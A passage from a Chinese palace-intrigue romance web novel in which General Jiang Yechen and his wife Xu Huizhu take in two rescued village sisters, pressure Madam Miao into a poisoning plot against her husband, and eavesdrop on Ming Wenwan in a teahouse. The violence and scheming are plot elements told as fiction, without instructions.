姜夜沉秘密潜入雪城去偷雪莲,却有幸遇见传闻中的鬼医仙,赠他一株雪莲,救回皇帝的性命。
原来,那人出现过,为他才暴露踪迹。
那人说过,天下虽大,一个人有心躲藏,定会藏在谁都寻不到的地方。
站在权力顶峰的皇帝,也有无力的时候,也有找不到的人,也有求而不得的真相。
“继续查。”皇帝下令。
“曹文,你......想成家吗?”皇帝看着那张熟悉的鬼面具,心里生出一抹愧疚。
“不,臣从未想过。”曹文说完,消失在暗黑的夜里。
他没有听到皇帝的叹息,“终归是朕亏欠了你啊。”
这时,李生德匆匆入内,禀报今日在襄王府大门前发生的事情。
“凝玉被襄王妃和徐慧珠合伙算计了五万两?”
“也罢,这些年,闵国公贪来的银子,没少入凝玉的私库,为边疆将士尽一份力,本就是她身为皇族公主该肩负的责任。”
“皇上英明。”李生德可不敢随意评论凝玉公主。
虽然他在心里悄悄嘀咕,皇上英明神武,雄才韬略,可皇后娘娘生育的一双儿女,皆不像皇上,看来,根儿坏在皇后娘娘身上。
太后娘娘眼拙啊。
“李生德,你是说夜沉骑马带着徐氏去凤凰山赏落日?”
“哼,他......他咋那么能,咋不带夫人上天去?”
这话,李生德还得硬着头皮陪着笑脸往下接,“皇上英明,先前您说过,将军新婚,高调秀爱也能理解,年轻人嘛,人生头一回大婚,新鲜又激动......”
皇帝瞪了李生德一眼,“朕何曾说过这话,李生德,就你记性好。”
“是是是,皇上教训的是,瞧奴才这张嘴,净说皇上爱听的大实话。”李生德自然分得清皇帝何时真动怒,何时假生气。
此刻,皇帝心情明显不错,李生德得凑趣,让皇帝的心情更好点儿。
皇帝龙心大悦,而刚到凤凰山的徐慧珠也被震撼到了,凤凰山之所以叫凤凰山,远看如一只展翅翱翔的凤凰。
“喜欢吗?”
“将军是问我喜欢凤凰山的美景,还是喜欢将军的美色?”徐慧珠笑道,“我都喜欢。”
她还是头一回站在凤凰山顶欣赏落日,托姜夜沉的福。
她当然知道,凤凰山是皇帝的私产。
凝玉公主及笈时,皇后娘娘向皇帝亲口讨要凤凰山为凝玉公主的及笈压轴礼,却被皇帝一口拒绝。
姜夜沉又怎么知晓,她独爱赏落日,从落日到星光满空。
“徐慧珠,这凤凰山是皇上送给我的新婚礼,我的,便是你的。往后余生,你想来凤凰山赏落日,我日日相陪。”
“皇上把凤凰山送给你了?”难怪姜夜沉说来就来,原来他竟是凤凰山的新主。
凤凰山,可不仅仅是一座远看像凤凰展翅的山。
这一刻,徐慧珠终于能理解太子对姜夜沉的恨意。
其实,站在太子的立场,他的想法也没错。
姜夜沉再能干再忠心,说到底就是一条狗,皇帝赏赐狗骨头已是皇恩浩荡,凭什么把姜夜沉当作人?
姜夜沉配吗?
“皇上待我一向挺好,不抠门。”
姜夜沉的神色如常,似是早已习惯皇帝对他的好。
“听管叔说父亲与皇上是旧识,年轻时结为异姓兄弟,是那种过命的感情。”
“父亲死前托孤于皇上,若皇上不是九五至尊,他早就收我义子了。”
“其实,从小到大,是皇上安排人照顾我、教导我。在我成长里,皇上扮演着父亲的角色......”
落日很美,星光满空极美......美到徐慧珠不知何时在姜夜沉的怀里入睡。
山脚下,大福和金夏赶着马车等候已久。
“今晚就住在庄子。”
姜夜沉小声吩咐,又一路抱着徐慧珠,直到入了庄子才轻轻放下,舍不得惊醒怀里的人儿。
“醒了?”
姜夜沉听到咕噜一声,怀里的女人似是不好意思,扭动身子,往床榻里面躲。
“热锅子准备好了,用完膳,为夫陪你睡。”
姜夜沉一张俊颜猛然放大,
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明明是没羞没臊的话,却说得动听,透着一股诱人的香甜。
他的脸不红吗?
他这般撩拨,惹下祸,故意让她难受,他好看笑话不成。
男人啊,私下里蔫蔫的坏。
徐慧珠的性情,睚眦必报,必须当场“报仇”。
她扑向姜夜沉,将他压在身下,坐上他的腰,“将军这道膳前点心看着更秀色可餐。”
“我饿了呢。”
他们又不是没有亲密过,矫情个什么劲儿。
不过半刻钟,床榻乱成一团,两**汗淋漓,衣裳尽乱。
金夏站在门外,脸颊通红发烫,她好纠结,该不该喊主子用膳,再等下去,牛肉煮老了。
她真的好饿。
主子不饿吗?
她更好奇的是,将军不能行情事,可房间里发出的那种声音,跟她和夫人曾潜入别家府上碰巧听见的声音相似。
当时,夫人还同她讨论过,后来还女扮男装去南市买来一册**,两人关上房门研究了好些时日。
当然,理论知识丰富,实践为零。
可是,将军如何做到的?
金夏不禁想,她到底要不要悄悄问下夫人?
还有,夫人从官府那里买下迷香楼,改名风月楼,要仗将军的势,开成京城规模最大的欢场。
气死太子。
这一夜,一向沾床就沉睡金夏因为胡思乱想,彻夜无眠。
隔日,金夏顶着一双熊猫眼,惊了徐慧珠一跳。
“金夏,你......岔床铺?”
“不......不是。”金夏有些难为情。
她总不能说,她心里严重怀疑将军先前是身患隐疾没错,但碰巧夫人是将军的良药,不仅治好将军的睡眠困难症,还治好将军的隐疾。
唉,先是为主子担心,又在想通之后豁然开朗,如此折腾一夜,真真是操心的命。
用过早膳,姜夜沉又带徐慧珠上凤凰山。
这回,大福和金夏没有跟着,他们听罗叔说河里有肥美的大嘴鱼,烤着吃或红烧,别有一番风味。
三月的河水,虽不是冰冷刺骨,但一脚踩下去凉的让人打哆嗦。
金夏挽起裤腿,正要下水,被大福一把拉住“莫急......”
第055章:披着女人外皮的“男人”
大福说,“莫急啊,我有更好的法子保管抓到鱼。”
金夏正要夸大福,谁成想,大福补一句:“做事多动脑,没苦别硬吃。”
这是......拐弯抹角骂她笨?
金夏倒不是自诩聪慧,可夫人聪慧啊,她就没见过比夫人聪慧比夫人好的人。所以,近朱者赤,她受夫人熏陶,自然聪慧过人。
如今,却被大福明晃晃嘲笑。
“是吗?”金夏笑的“阴险”,靠近大福,忽然一脚踢过去。
噗通。
完美入水,溅起水花无数。
金夏正欲大笑,却看见一个男人拎着一个女童,一边往河边走一边回头骂骂咧咧。
后面跟着一个半高的瘦弱少女,她拼力跑着,却追不上前面快走的男人。
“堂叔,求您放过小丫,她都烧晕过去了,再不看大夫,小丫会死的啊。呜呜呜......”
“妹妹......”
果然,金夏看到男人手里的女童跟一块随风摇晃的布条似的,一动不动。
还是三月的天气,女童衣不遮体,一双小脚光着,乌青发肿。
不知,是**,还是奄奄一息?
男人站在一块大石头上,恶狠狠地威胁少女,“翠柳,不如堂叔帮你解决小丫这个拖油瓶,扔掉小丫,你就能过上好日子了。”
“你看,只要我手一松开,小丫就落入河里,淹**,尸体也顺水冲走,草席都省下了。”
“嘿嘿......”
“不不不,堂叔,求你......放过小丫,我......我听你的话,再也不敢逃跑。你让我给庄头爷爷暖被窝,我......我去。”翠柳跪在地上,她不敢上前一步,生怕男人手一松,她就再也没有妹妹了。
“不跑了?”
男人目露凶光,又夹杂一抹猥琐,在少女含苞待放的身子来回穿梭,似乎想要用目光将少女剥光,再玷污了去。
“要不是老子欠庄头二十两银子,别说,老子还舍不得卖了你。”
“啧啧啧,这诱人的小身子,老子还没尝过咧。”
男人一边说着下流的污言碎语,胳膊故意往下压,女童的半截身子没入冰凉的河水里。
“不要不要啊,小丫!”少女哭的撕心裂肺,“堂叔,求您了,我给你磕头。小丫还病着啊,她的身子不能泡冷水里。”
“啊......呜呜呜,姐姐?”女童醒了,又冷又吓,哇哇大哭。
“大福,喂那畜生喝饱水!”
金夏忽然吼一声,不等男人反应过来,手里一空,只觉小腿刺痛,噗通掉落河水里。
幸好金夏穿的厚实,她三两下把女童湿哒哒的衣裳剥光,脱下棉袄,包裹住女童瘦弱的身子。
接着,她从荷包里掏出一只瓷瓶,倒出一枚药丸,塞入女童的嘴里。
等金夏做完这些,一抬头,瞧见少女还愣愣地看着她,仿佛失了魂。
“你叫翠柳是吧,还没愣够,过来,抱着你的妹妹。放心,我给她喂了药,不会死。”
“女侠,我......我动不了。”翠柳身子发软,两条腿跟生长在地上似的,动弹不得。
女侠?
金夏扑哧一声笑了。
“你为何会叫我女侠?”
“小时候,阿爹曾给我讲过一个故事,里面就有一位行侠仗义的女侠,她是菩萨派到人世间,拯救陷入苦难的可怜人......”翠柳身子动不得,但说话利索。
“你救了我的妹妹,就是天上来的女侠。”
这时,大福从河水里冒出来,手上还抓着四条大鱼。
果然肥美。
“堂......堂叔呢?”翠柳紧紧抱着妹妹,躲在金夏的身后。
“喂鱼了。”大福摇晃了几下手里的大鱼。
等徐慧珠和姜夜沉从凤凰山下来,大福和金夏已审完庄头成大顺,本以为顺手救下一对可怜的姐妹,万万没想到这事还能牵扯到姜夜沉。
离了大谱。
金夏如实禀报,说到翠柳姐妹的惨状,或许想到年幼时的自己,竟红了眼眶。
“夫人,据成大顺交待,一年前翠柳姐妹的阿爹在田里干活时被毒蛇咬死,堂叔阿坤就霸占了她家的房屋田地。”
“阿坤是个无赖畜生,本来惦记翠柳,奈何翠柳因长得标志早就被成大顺为自家孙子号着,阿坤不敢得罪庄头,只敢时不时动手动脚占些便宜,不敢来真格的。”
“随着翠柳长大,成大顺看翠柳的眼神变了,他本想自个儿霸占,翠柳得知后,偷偷带着妹妹小丫逃跑,然后被阿坤抓住......”
成大顺见过世面,但不多。
他对女人的见识,要么胆小懦弱,要么粗鲁泼妇,就是年轻时长得标
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志的女人,跟那山上的花儿一样,花期很短,枯萎期很长。
他哪里见过像金夏这般狠厉的女人,不,是披着女人外皮的“男人”。
她看着他,目光冰冷,不言一语,直接动手。
先是啪啪一通耳光,接着拔掉他的指甲盖,然后切断他的十根手指......才开口问话。
她说,“老东西,你想清楚再回答,答错一句话,不,是答错一个字,我就卸掉你身上的一块东西。”
“先从哪里开始,是左眼还是右眼,是左耳还是右耳......”
一个时辰,成大顺一直在说话,气都不敢多喘一会儿,连年轻时偷看婶娘洗澡、偷阿婆鸡仔的陈谷子烂事都交待了。
难为成大顺记性好。
待瞧见罗叔,成大顺扑过去抱住罗叔的腿,“罗爷,罗爷救我啊。”
“我也是听说庄子来贵人,便想着翠柳那丫头长得标志,送到贵人跟前伺候。”
“贵人在京城吃惯山珍海味,偶尔来庄子吃一口乡间野味......”
罗叔才四十多岁,愣是被成大顺这近乎套老了。
“成大顺,你......你还打着把翠柳送给贵人的主意?”
姜夜沉去寻罗叔,他在凤凰山上抓到四只兔子,起初抓了两只,以为徐慧珠瞧着兔子可爱,舍不得吃掉,要养着。
哪知,徐慧珠咽了咽口水,张口就说:一只吃辣兔热锅子,一只烧烤。
又说,“姜夜沉,要不你再多抓两只,金夏和大福一向能吃,总不能我俩吃,他俩站在旁边流口水,影响食欲,你说是不是这个理儿?”
正好,大福和罗叔将庄子发生的事情一一禀报。
极少有人知晓,姜夜沉不通厨艺,但烧烤一绝,还研究出独家酱料,吃一口,香掉舌头。
他拿出随身携带的**,动作娴熟处理兔子,再到撒料腌制。
接着,又去处理另一只。
大福:将军对夫人真上心。
罗叔:将军怎么还抢厨娘的活?
不,不对,刚听将军说,夫人要一兔两吃。
天呐,将军为夫人下厨?
自古女子为夫君洗手作羹汤是常事,还是头一回见识,战神将军用他那双**的手,为自家夫人杀兔子?
“大福,你是说那个成大顺霸女不说,还想给本将军送美人儿?”
第056章:帮将军抓住夫人的胃
话音刚落,罗叔只看见姜夜沉一抬手,扔出两根木枝。
鸡窝里一阵扑通。
两只鸡,**。
罗叔只觉得脖子一凉,仿佛他就是刚死的两只鸡其中一只。
另一只死鸡,是成大顺。
罗叔恨不能捶死成大顺,自皇帝把凤凰山赐给姜夜沉,只撤走管事,庄子里的人基本没变。
罗叔受命来管理庄子,还在熟悉的阶段,万万没想到成大顺给他惹下这么大的祸端。
“将军,都是奴才办事不力,奴才正对庄子人员进行摸排,然后将毒瘤统统清理,再不会出现第二个成大顺。”
“嗯。”姜夜沉手里的第二只兔子已肢解成块,“下不为例。”
“本将军再给你一个月的时间清查,查出来的人,连同成大顺一家送去北疆修建城墙。”
“大福,给罗叔再派一组锦衣卫帮忙。”
姜夜沉的目光落在两只死鸡上,用来炖汤不错,用不完的鸡汤小火温着,明日清晨下一碗鸡汤馄饨。
徐慧珠定会喜欢。
那个女人啊,一说到美食,两眼冒光。
竟是个吃货。
“大福,还愣着?去把鸡毛拔了,交待厨娘炖汤。”
“啊!是是是,将军放心,奴才最擅长拔鸡毛,罗叔说这庄子里的厨娘炖的一手好鸡汤,绝对能帮将军抓住夫人的胃。”
大福冲罗叔眨眨眼。
当然,大福只敢悄悄在心里编排自家将军:他同将军说正事,将军的心思却放在兔子和鸡身上,不,应该说,将军满心满眼只有夫人,连膳食都要亲自安排?
内室,姜夜沉不在,金夏说话更肆意些,说累了,徐慧珠为她倒一盏温茶,金夏接过,一饮而尽。
“还是夫人疼奴婢。”
“奴婢时常想,奴婢前世一定是个大善人,做了太多太多的善事,感动到菩萨,才会安排奴婢今生侍奉夫人。奴婢每一天的快活,都是夫人给的。”
这是金夏的真心话,比黄金还真。
“夫人,奴婢真真是气**,在京城,那些朝臣都不敢给将军送美人儿。谁成想,一个小小的庄头,胆子大过天,真不知是说他可恶,还是说他蠢如猪。”
“这万一让成大顺得逞,传出去,日后将军府的门槛不得被那些心思不轨之人踏破啊。”
“好了好了,将军会处理的。”徐慧珠笑着说道,“旁人敢送美人儿,若带上丰厚嫁妆,我就劝将军照单全收。
“我可以组建一个女子军,谁说女子不如男,说不定还能顶起半边天。”
情敌变下属?
也不是不可行。
细想一下,无论将军府后院有多少女人,争来争去,争的是将军的宠爱,图的是将军的权势,要是有福为将军生儿育女,地位方稳……可惜,将军不能人道。
所以,就算无数女人争得头破血流,没有任何意义。
金夏被自家夫人安慰到了。
晚膳,徐慧珠吃的很撑,撑到肚皮疼。
姜夜沉为她揉了大半夜的肚子,笑她贪吃。
也是,京城贵女准则之一,就是用膳六分饱。
贵女,到死都没吃过一顿饱饭。
绝大多数。
凤凰山的日出和落日美景,百看不厌。但姜夜沉身为禁卫军统领,能有片刻得闲已是难得。
“睡吧,明日中午得回京。”
姜夜沉抱住徐慧珠,抱得极紧,“锦衣卫传来消息,明道成和察尔通在醉仙戏楼赏戏,察尔通身边跟着一名女子,换了一张脸,从气息判断应该是徐云晗。”
“传闻坞国皇室有一种禁术,在人的身体里种下蛊虫,便能改变其容貌,达到换脸的效果。”
“但,副作用可怕至极。”
看来徐云晗疯的更厉害,如病症,几近膏肓。
她本就无药可救,如今,更不值得相救。
徐慧珠心下决定,下一回姐妹刚见,她不会再心慈手软。
不过,疯子再疯,也是可以稍加利用……
第二日,两人正在用早膳,若不是姜夜沉看着,她又又吃撑。
鸡汤馄饨,她吃过数回。
没什么稀奇。
可这回吃到的鸡汤馄饨,格外美味。
大抵是,姜夜沉坐在她的对面,她一边欣赏美男子的颜,一边用膳,哪怕吃到嘴的是馒头,也是顶级美味。
“夫人,翠柳来了。”
“她说
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要向将军申诉冤情。”
虽然翠柳无辜,金夏从没后悔过救下翠柳姐妹,还给她们安排住处,又嘱咐罗叔看顾些。
但一想到成大顺曾起过将翠柳献给将军的龌龊心思,金夏一看见翠柳,心里就别扭的不行。
她本来还想着,翠柳和小丫这对姐妹的遭遇苦若黄连,要不求夫人将她们带回将军府,也是容身之所。
徐慧珠和姜夜沉对视一眼,都在彼此的眼里看到一丝意外。
“倒是个聪慧的,这么快就探听到将军的身份。”
徐慧珠摆了摆手,“带翠柳进来问问。”
翠柳一身棉布衣裳,未施粉黛,美的纯净。
如山涧清泉。
如雨后嫩叶。
姜夜沉进了内室,他没兴趣同徐慧珠以外的女人说话,看一眼都觉得浪费时间。
这等碎事,由徐慧珠处置。
“民女……翠柳见过夫人。”翠柳的声音发颤,她打小生活的村庄名叫鱼庄,村里的那条河叫鱼河,就是金夏和大福去抓鱼的那条河。
凤凰山有二十个庄子,鱼庄的位置稍偏,先不说皇帝已好些年不来,先前来的时候,也不会来鱼庄,自有奴才到鱼庄挑选最肥美最新鲜的鱼,交给御厨做出美味佳肴。
“抬起头,让我好生瞧瞧。”
翠柳抬头,眼神惶恐又透着一抹坚决。
“果然是个纯净的美人儿,鱼庄这等小地方,困不住你。”
“翠柳,你在等一个机会,而将军便是你等来的贵人。”
翠柳满眼震惊,夫人知晓什么吗?
金夏救下翠柳姐妹是凑巧,但翠柳此人心思细腻,竟探听到他们的身份。
若不是姜夜沉,翠柳极可能还会带着妹妹隐匿在小小的鱼庄,但她会借机除掉威胁,入罗叔的眼,求得一方安全。
翠柳倒是会接话,“民女等待的贵人,是夫人您。”
“说说吧,我能帮你什么?”
徐慧珠得承认,她欣赏翠柳的聪慧。
有时候,机会出现眼前,但稍纵即逝,不是谁都能抓得住。
翠柳举起一只斑驳的木盒,里面放着三样东西:一副画,一份文章和一枚玉章……
第057章:美人生美人
“阿爹临死前给我讲了一个很长的故事,把木盒交给我,阿爹说,选择权在我的手里。”
“要么木盒随阿爹的棺木下葬,永封地下。”
“要么继承阿爹的遗怨,等待机会。”
徐慧珠打开画卷,“明侯府的明道成?”
抬眼,徐慧珠看见翠柳眼里的怨恨。
原来如此......
罗叔觉得翠柳姐妹真真是幸运,先是被金夏救下性命,接着入夫人的眼,还跟着夫人回将军府。
时也命也。
姜夜沉刚入城门,锦衣卫来禀,皇帝急召。
徐慧珠直接回将军府。
“金夏,安排翠柳住在橙院,请普神医给小丫看诊,好生调理,不拘药材。”
翠柳心里感激,跪下行礼,“夫人厚恩,奴婢谨记于心,生,不忘。”
翠柳亲手写下**契,执意将自己卖给给徐慧珠。
小丫却是自由身。
她想的通透,牺牲自己,以求将军府庇护,给妹妹小丫繁花似锦的人生。
“小丫身体柔弱,养好得一年半载,待养好身体,我给她安排先生。”
徐慧珠盯着翠柳,“我最后再问你一回,甘愿在我的身边当个奴婢,也不愿回那个富贵的家?”
“一旦决定,日后再同我说后悔,我会要你的命,也说不定。”
翠柳毫不犹豫,“奴婢翠柳心甘情愿侍奉夫人。”
以她之力,要护住幼妹,谈何容易。
以她之能,要为阿爹复仇,绝无可能。
她无心男女情事,也没想过嫁人。
嫁人有什么好,把希望寄托于陌生男人的身上吗?
她又能嫁给什么样的男人?
当翠柳见到徐慧珠后,只需一眼,她就知道,阿爹等而不到的贵人,她等到了。
或许,这就是冥冥之中自有天意。
徐慧珠刚踏入主院,金秋来禀,“夫人,苗夫人送来请柬,邀您明日去醉仙戏楼赏戏。”
诱饵已下。
鱼儿终会咬钩。
就算徐云晗告诉苗夫人,苗耀祖和苗安媛的死,真凶是徐慧珠。
又如何?
金春腹中孩儿是苗耀祖的唯一留存血脉,关键是,这条血脉是儿子。
那就更稀缺珍贵了。
苗夫人没得选。
爱子深远,苗夫人会把希望和爱转移到新的生命体。
转眼第二日,徐慧珠在醉仙戏楼如约见到苗氏。
苗氏虽上了年纪,仍风韵犹存,一双桃花眼,看谁都含情。
美人生美人。
美貌会遗传。
苗耀祖是例外。
“大小姐,我儿耀祖,还有安媛和云晗,是不是你害的?”
苗夫人的开场白,够直接。
她心里已有答案,仍不甘心,想听“凶手”亲口承认。
“苗夫人该称呼我一句‘徐夫人’!”
既然苗夫人说话直接,那她也无需拐弯抹角。
简扼明要谈正事。
“苗夫人是云晗妹妹亲外祖母,自然会信云晗妹妹。我若解释,我本无辜,苗夫人信吗?”
“苗夫人说我才是害死苗公子和二婶的真凶,那就是掌握了证据,该向府官大人状告我才是。”
“还在这里跟我费唇舌?”
苗夫人不信。
徐慧珠就是**凶手,还大言不惭说自己无辜。
儿女谋划的事情,苗夫人知情,她还称赞苗耀祖有勇有谋,必成大事。
苗耀祖,人如其名,定能光宗耀祖,可享受在苗氏族谱上单开一页的荣耀。
苗夫人泄了气。
她取出一枚月牙形黄金印章,“这里是十万两银子,你拿着印章,去高升当铺可兑。”
“苗夫人是单方面毁约?”徐慧珠嘴巴说毁约,手却诚实,接过月牙黄金印章,把玩于指间。
手感不错。
“还是金春蠢笨,没给苗夫人说清楚?”
“我要什么?我要苗夫人想法子......弄死枕边人,无论是下**,还是下鹤顶红?”
“以苗大人的命,换你亲孙儿的命,这笔账不管怎么算,占便宜的都是苗夫人你啊。”
徐慧珠想过苗夫人不会轻易答应,也能理解,哪个垂死之人不挣扎,万一能活呢。
徐慧珠凑近一寸,直勾勾盯着苗夫人,“还是说,苗夫人和苗大人少年夫妻,深情永不移?”
“那么,这十万两银子,是买苗大人的命,还是买亲孙儿的命?还是买我守口
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如瓶苗夫人的秘密?”
苗夫人脸色大变。
来之前,苗夫人想的极好,先假意抛出十万两银子的诱饵,待她安顿妥当金春。她就和正得皇宠的苗美人联手,还不信弄不死将军府的一个妾室。
徐慧珠是什么意思?
“徐-慧-珠?”
苗夫人本能欲抓破徐慧珠的脸,这张仇人的脸,还真真是讨厌。
“苗夫人装什么贞节烈女?你借管家的种子,又将人毒害,便以为死无对证,可高枕无忧......可惜,我知道了你的秘密。”
徐慧珠在苗夫人的注视下,将印章装入荷包,“不然,苗夫人你**,我同苗大人谈,或者同皇宫里的苗美人谈?”
“不不不。”苗夫人瘫软在椅子上,泄了所有力气,这时候再问“你怎么知道”,有何意义。
“徐夫人,我......我答应你。”
苗夫人恨啊。
十万两银子,落入湖中,连一丝涟漪未泛起。
不,她被徐慧珠讹去银子还不算,还被徐慧珠死死掐住脖子。
她敢动一下,就是死的下场。
“苗夫人这般有诚意,我就好心再告诉你一个消息。”
“听说,苗大人一边忙着重金雇佣云霄阁暗杀者欲弄死徐从武,一边忙活着寻好生养的少女,养在惠南巷的一处院子里,夜夜当新郎官。”
“苗夫人得空,不妨去看看。”
自苗耀祖死后,苗夫人日日沉浸在丧子的悲痛里,哪有心情关注自家夫君日常。
她倒是想听梅娘提说过一嘴,大厨房的灶上日日炖着补品,她哪吃得下,没想到苗兴旺吃得欢,竟是为了在年轻女子身上努力耕耘。
儿子**,苗兴旺伤心不假,但他是一家之主,肩负家族兴盛、香火延续的责任。
先前,有苗耀祖在,五个女儿也给足苗夫人底气,他不得不忍受苗夫人的强势蛮横。
如今,儿子**,苗夫人年老色衰,极难有孕。
苗兴旺想,他在年轻女子身上使力,生个儿子,去母留子,记在苗夫人名下,便是嫡子。
他,没错。
苗夫人冷哼一声,美艳的脸上尽是狠厉之色,“痴心妄想。”
第058章:傲了半生年华
“天下乌鸦一般黑,天下男人一样坏,苗兴旺这一辈子,就只能有苗耀祖这一根独苗。”
“我儿耀祖得不到的东西,我就是毁了,也不会便宜旁人。”
苗兴旺心里想得美,可惜他不够了解女人。
看来,苗夫人信了。
“苗夫人早就给苗大人下了绝育药吧。”
要是苗兴旺在临死前得知,自己为苗耀祖劳心费力,苗耀祖却是管家的低贱血脉。
这一辈子,他都不会拥有儿子。
苗氏的香火,止于他这一代。
“徐夫人,事成之后,我要带走金春。”
“在此之前,徐夫人得保证金春母子吃得好睡得香。”
“还有,苗耀祖的身份只能是苗府嫡子。”
“徐夫人,你若敢泄露一个字,我便同你不死不休。”
苗夫人傲了半生年华,骨子里就学不会低头示弱。
“苗夫人在......威胁我?”
徐慧珠不介意哄一哄苗夫人,“我接受。”
“时候不早了,这个时辰,苗大人应该在惠南巷忙活,苗夫人当真不去瞧瞧?”
徐慧珠气走苗夫人,就让金夏进来,陪她赏戏。
赏戏这么身心愉悦的消遣,可不能让苗夫人破坏气氛。
“金夏,让小二再上一碟辣果片和一壶茉莉花茶。”
“夫人喜欢?”姜夜沉化身小二,亲自为徐慧珠服务。
“醉仙戏楼的辣果片,是我在北疆研制的下酒小食。”
“还有这个脆皮花生、酥脆猫耳朵,夫人也尝尝。”
姜夜沉说罢,一口一口喂给徐慧珠。
堵住徐慧珠的嘴,不给她开口的机会。
“下酒小食怎么能少得北疆雪酿,夫人,为夫喂你。”
唔。
一番折腾,徐慧珠羞的脸颊发烫通红。
“将军?”
徐慧珠没好气地瞪了姜夜沉一眼,随时随地施展美男计来撩拨她,真想怼他一句:有能耐来真格的呀。
他在考验她的忍耐力吗?
以确信她能不能胜任“徐夫人”一职?
“嘘。”
姜夜沉迫使徐慧珠坐在他的腿上,一口小食一口雪酿,“夫人觉得为夫伺候的不够好?”
“那倒不是。”徐慧珠安心坐在姜夜沉的腿上,她有的是耐心,也熬得住,看看姜夜沉要试探她何等程度。
能被美男子时不时撩拨,也是一种福气。
“堂堂战神将军、护国将军、北疆之王、锦衣卫统领姜夜沉伺候我,传出去,京城贵女怕是嫉妒到恨不能一人一下,活生生掐死我。”
“日后,若无将军作陪,我还敢出门吗?”
他撩拨。
她欣然享受。
又是一番折腾。
徐慧珠要在姜夜沉的眼皮子底下报复苗家,自然得走通锦衣卫的后门。
“苗兴旺雇**人的消息已传回京城,锦衣卫拦截着,何时曝光于世,自是等夫人下令。”
姜夜沉取出一枚蛇形木章,“见此蛇章如我,可调动锦衣卫。”
徐慧珠大方接下,问出心里疑惑,“若是皇上知道......”
姜夜沉给她一个安心的眼神。
搞定皇帝是他的私事。
再说,他娶回家的夫人,不疼着宠着,难道得冷着凉着,五日殴打三日辱骂?
早在北疆时,他向皇帝说过,“我若娶亲,只娶一女,与她生儿育女,相伴白头。”
不管他和徐慧珠的亲事如何定的,如今他已娶妻,便是一辈子。
戏台子上,咿咿呀呀响起唱调。
今儿这出《桃花缘》,唱的是一对有情人的前世今生,不管错过多少次,人群里一次回眸,也能一眼看到彼此,便是情起心动。
戏文平常,但戏子演得极好。
女子的泪,如珍珠,一颗一颗落在帕子里,“小姐啊,戏文跟话本都是人写的,就是骗人的东西,小姐别当真啊。”
“小芸,二叔说,将军能娶徐慧珠为妾,那么,将军府后院就开了口子,接下来,端看谁有本事,能塞人进去。”
徐慧珠万万没想到,台上的戏没演完,现实里的戏,一出接一出。
“将军的桃花,又来了。”
徐慧珠趁机起身,坐到姜夜沉的对面。
“夫人在吃醋?”
雪酿入喉,姜夜沉看向徐慧珠
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的目光更热切几分。
“隔壁雅间的女子,我不认识。”
姜夜沉皱眉,谁说他一娶亲,就能给他送美人儿了?
看来,京城这送美人儿的风气,锦衣卫该出手整顿一番。
“请夫人信我,我一向洁身自好、守身如玉。”
不等徐慧珠回应,隔壁雅间又响起女子说话的声音。
本着墙角必听、热闹必凑的心思,不成想,终日吃瓜,有朝一日吃到自己的身上。
这种怪异的感觉,有点儿微妙,还有点儿酸爽。
只是,姜夜沉仔细瞧了又瞧,没在徐慧珠的眼里看见一分一毫嫉妒,或生气。
莫名的,姜夜沉的心情不美了,喝入口的雪酿也似变了味。
“徐慧珠?”
姜夜沉正在表达不满,却被徐慧珠打断。
“嘘!”
“将军且安静些,听你的‘桃花’怎么说?
“如果又是一朵像凝玉公主那样的烂桃花,我帮将军折断。”
姜夜沉不情不愿地闭嘴。
接着,张口咬住徐慧珠的手指,酥麻刺痛的感觉袭来。
真真是一丁点儿亏都不吃的“狗”。
“小姐最是敬仰将军,若能做将军的妾,安公子得将军庇护,二老爷哪敢明里暗里欺辱大房。”说话的应该是叫小芸的婢女。
“小芸,你想的太简单了,你能想通的道理,明道成会想不到。”
“呵,明道成那个人,就不是个好东西,他肯定憋着坏。指望明道成真心对我,还不如指望铁树开花、母猪爬树。”
“当年,爹爹死得突然,若不是皇上的那道旨意,安弟早就死在明道成的手里了。”
敢直呼长辈名号,骂长辈不是好东西,这名女子的身份已经很明显了。
明侯府大房嫡长女明温婉。
未见其人,先听其声,人不如其名啊。
徐慧珠和姜夜沉对视一眼:这般凑巧!
想到翠柳说的秘密,还有锦衣卫禀报明道成与察尔通私下相约,如今再听明温婉的一番话......明侯府是该动一动了。
“可是,小姐,若是能嫁给将军,您当真不动心吗?”
第059章:人间清醒明温婉
“如今,京城贵女哪个不羡慕嫉妒徐夫人,嫁给将军为妾,却被尊称‘徐夫人’,还能妾行妻权,这在京城,独一份的荣耀啊。”
托姜夜沉的福,徐慧珠有幸站在风口浪尖,成为京城贵女的肉中刺眼中钉。
将军府已收到元乐长公主赏菊宴的请柬,这是徐慧珠嫁入将军府,以“徐夫人”之名参加的第一个宴会。
注定不安生。
此刻,徐慧珠生出几分期待,好奇明温婉如何回答。
“小芸,你不懂。”
“我敬仰将军,和百姓和将士一样,信仰将军为神明。”
“我不过芸芸众生里的一介凡人,该同另一个凡人过这世间平凡却安稳的生活,这才是我想要的。”
好一个人间清醒的聪慧女子。
明温婉的性情,正合徐慧珠的心意。
徐慧珠当下决定,她要主动出击,接近明温婉,试着做一回朋友。
“小姐,是奴婢肤浅,奴婢......奴婢还以为您也是听闻将军不能人道的流言蜚语,心里不愿意嫁给将军。”
真真是有什么样的主子,就有什么样的奴婢。
明温婉是个有胆量的,小芸的胆子不仅大,还实诚,什么话都敢往外说。
“先不说将军不能人道,是恶意中伤将军的谣言?还是真有其事?”
“将军愿娶徐慧珠,而徐慧珠也愿嫁,便说明他们之间的感情,旁人插不进去。”
“小芸,你说我要不要主动给徐夫人下一张帖子,邀请她一叙?”
“对,得从徐夫人入手。”
“莫说男女有别,如今将军已大婚,那就是有妇之夫。我可不想被旁人造谣,说我不知羞耻勾引将军......”
姜夜沉都不能人道了,想挤入将军府后院的女人,还在一边排队一边争斗不歇。
事实证明,权势就是个好东西。
徐慧珠竭力忍耐,她想说,不光京城,只怕安国上下,乃至仓国、坞国等,都知道姜夜沉不能人道。
凝玉公主抛出引子,当事人姜夜沉几乎亲口证明:他就是不能人道。
败坏名声,姜夜沉也出了一份大力。
自黑等同于自残,一时间姜夜沉的名声越发不好了。
徐慧珠所在的雅间,由姜夜沉亲自设计,可听清楚隔壁雅间说话,他们说话,哪怕在里面嚎叫,外面也听不到分毫。
当然,这个雅间唯有姜夜沉能用。
如今,徐慧珠可随时享用。
徐慧珠深刻体会到,仗姜夜沉的势,好处太多,让她的生活品质得以质的飞跃。
这种感觉很奇妙,很舒爽,犹如炎炎夏日里,口渴难耐,姜夜沉捧到她面前一杯冰镇西瓜汁,他说:徐慧珠,尽情喝,除了冰镇西瓜汁,还有冰镇杨梅汁、橘子汁......
